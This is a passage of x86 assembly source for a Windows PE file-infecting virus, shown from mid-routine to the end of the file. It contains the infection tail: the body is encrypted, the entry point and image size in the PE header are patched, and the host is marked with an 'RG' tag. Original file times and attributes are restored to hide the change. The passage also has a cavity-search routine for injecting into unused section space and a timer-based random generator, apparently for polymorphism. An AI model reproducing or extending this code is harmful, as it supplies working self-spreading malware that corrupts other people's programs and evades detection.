pop dword ptr [ebp+offset imagebase-offset start-80h]
|
|
pop dword ptr [ebp+offset oldip-offset start-80h]
|
|
|
|
mov ecx,offset section1end-offset cryptstart
|
|
call crypt ; encrypt it
|
|
|
|
; write new eip to PE header
|
|
|
|
mov esi,[ebp+offset PEheader-offset start-80h]
|
|
mov eax,[ebp+offset newip-offset start-80h]
|
|
mov [esi+28h],eax
|
|
|
|
; increase size of image
|
|
|
|
mov eax,[ebp+offset add2imagesize-offset start-80h]
|
|
add [esi+50h],eax
|
|
|
|
; mark as infected
|
|
|
|
mov esi,[ebp+offset mapaddress-offset start-80h]
|
|
mov word ptr [esi+38h],'RG'
|
|
|
|
;
|
|
; end the infection
|
|
;
|
|
|
|
Unmap_view:
|
|
push dword ptr [ebp+offset mapaddress-offset start-80h]
|
|
mov eax,[ebp+AUnmapViewOfFileA-offset start-80h]
|
|
call eax
|
|
|
|
close_map:
|
|
push dword ptr [ebp+offset maphandle-offset start-80h]
|
|
mov eax,[ebp+ACloseHandleA-offset start-80h]
|
|
call eax
|
|
|
|
close_file:
|
|
|
|
; set file pointer to end of file
|
|
|
|
push 0
|
|
push 0
|
|
push dword ptr [ebp+offset newfilesize-offset start-80h]
|
|
push dword ptr [ebp+offset filehandle-offset start-80h]
|
|
mov eax,[ebp+offset ASetFilePointerA-offset start-80h]
|
|
call eax
|
|
|
|
; mark end of file
|
|
|
|
push dword ptr [ebp+offset filehandle-offset start-80h]
|
|
mov eax,[ebp+offset ASetEndOfFileA-offset start-80h]
|
|
call eax
|
|
|
|
; restore file times
|
|
|
|
lea ebx,[ebp+offset ftcreation-offset start-80h]
|
|
push ebx
|
|
add ebx,8
|
|
push ebx
|
|
add ebx,8
|
|
push ebx
|
|
push dword ptr [ebp+offset filehandle-offset start-80h]
|
|
mov ebx,[ebp+ASetFileTimeA-offset start-80h]
|
|
call ebx
|
|
|
|
; close the file
|
|
|
|
push dword ptr [ebp+offset filehandle-offset start-80h]
|
|
mov eax,[ebp+ACloseHandleA-offset start-80h]
|
|
call eax
|
|
|
|
; restore old file attributes
|
|
|
|
push dword ptr [ebp+offset fileattributes-offset start-80h]
|
|
push dword ptr [ebp+offset fileofs-offset start-80h]
|
|
mov eax,[ebp+offset ASetFileAttributesA-offset start-80h]
|
|
call eax
|
|
|
|
cmp word ptr [ebp+offset infectionflag-offset start-80h],0ffffh
|
|
je infection_error
|
|
clc
|
|
popad
|
|
ret
|
|
|
|
infection_error:
|
|
stc
|
|
popad
|
|
ret
|
|
|
|
; searches all section for unused space at the end of each and returns
|
|
; the biggest space found
|
|
|
|
GetBiggestUnusedSpace:
|
|
pushad
|
|
|
|
xor ecx,ecx
|
|
mov dword ptr [ebp+offset maxoffset-offset start-80h],ecx
|
|
mov dword ptr [ebp+offset maxsize-offset start-80h],ecx
|
|
mov dword ptr [ebp+offset delta-offset start-80h],ecx
|
|
|
|
; calculate offset to the first section header
|
|
|
|
mov esi,[ebp+offset PEheader-offset start-80h]
|
|
mov ebx,[esi+74h] ; num of dir entries(each 8 byte)
|
|
shl ebx,3
|
|
mov cx,word ptr [esi+6h] ; num of sections(each 28h byte)
|
|
dec ecx ; don't search in last section
|
|
add esi,78h ; dir table offset
|
|
add esi,ebx
|
|
|
|
; check each section
|
|
|
|
trynextsec:
|
|
push ecx
|
|
mov ecx,[esi+10h]
|
|
mov edi,[esi+14h]
|
|
add edi,[ebp+offset mapaddress-offset start-80h]
|
|
add edi,ecx
|
|
dec edi
|
|
std
|
|
xor eax,eax
|
|
repz scasb
|
|
mov eax,[esi+10h]
|
|
cld
|
|
sub eax,ecx
|
|
dec eax
|
|
pop ecx
|
|
|
|
cmp eax,[ebp+offset maxsize-offset start-80h]
|
|
jna notmax
|
|
|
|
sub eax,4 ; don't use last 4 bytes to avoid messing
|
|
js notmax ; with things like jmp [00412340]
|
|
mov [ebp+offset maxsize-offset start-80h],eax
|
|
add edi,2+4
|
|
mov [ebp+offset maxoffset-offset start-80h],edi
|
|
|
|
; calculate delta value
|
|
|
|
mov eax,[esi+0ch]
|
|
sub eax,[esi+14h]
|
|
sub eax,[ebp+offset mapaddress-offset start-80h]
|
|
add eax,[ebp+offset imagebase-offset start-80h]
|
|
mov [ebp+offset delta-offset start-80h],eax
|
|
|
|
notmax:
|
|
add esi,28h
|
|
dec ecx
|
|
jne trynextsec
|
|
popad
|
|
mov ecx,[ebp+offset maxsize-offset start-80h]
|
|
mov edi,[ebp+offset maxoffset-offset start-80h]
|
|
mov eax,[ebp+offset delta-offset start-80h]
|
|
ret
|
|
|
|
; get a 32bit pseudo-random value
|
|
random32:
|
|
call random16
|
|
shl eax,16
|
|
call random16
|
|
ret
|
|
|
|
; play with timer registers to get a 16bit pseudo-random value
|
|
random16:
|
|
push ebx
|
|
xor bx,0ce76h
|
|
seed equ word ptr $-2
|
|
in al,41h
|
|
add bl,al
|
|
in al,42h
|
|
add bh,al
|
|
xor ah,al
|
|
in al,42h
|
|
xor bx,ax
|
|
xor al,ah
|
|
sub bl,al
|
|
in al,40h
|
|
sub bh,ah
|
|
in al,41h
|
|
mov ah,al
|
|
in al,42h
|
|
neg ax
|
|
xor ebx,eax
|
|
ror bx,3
|
|
mov word ptr [ebp+offset seed-offset start-80h],bx
|
|
mov ax,bx
|
|
pop ebx
|
|
ret
|
|
|
|
end:
|
|
end start
|
|
end |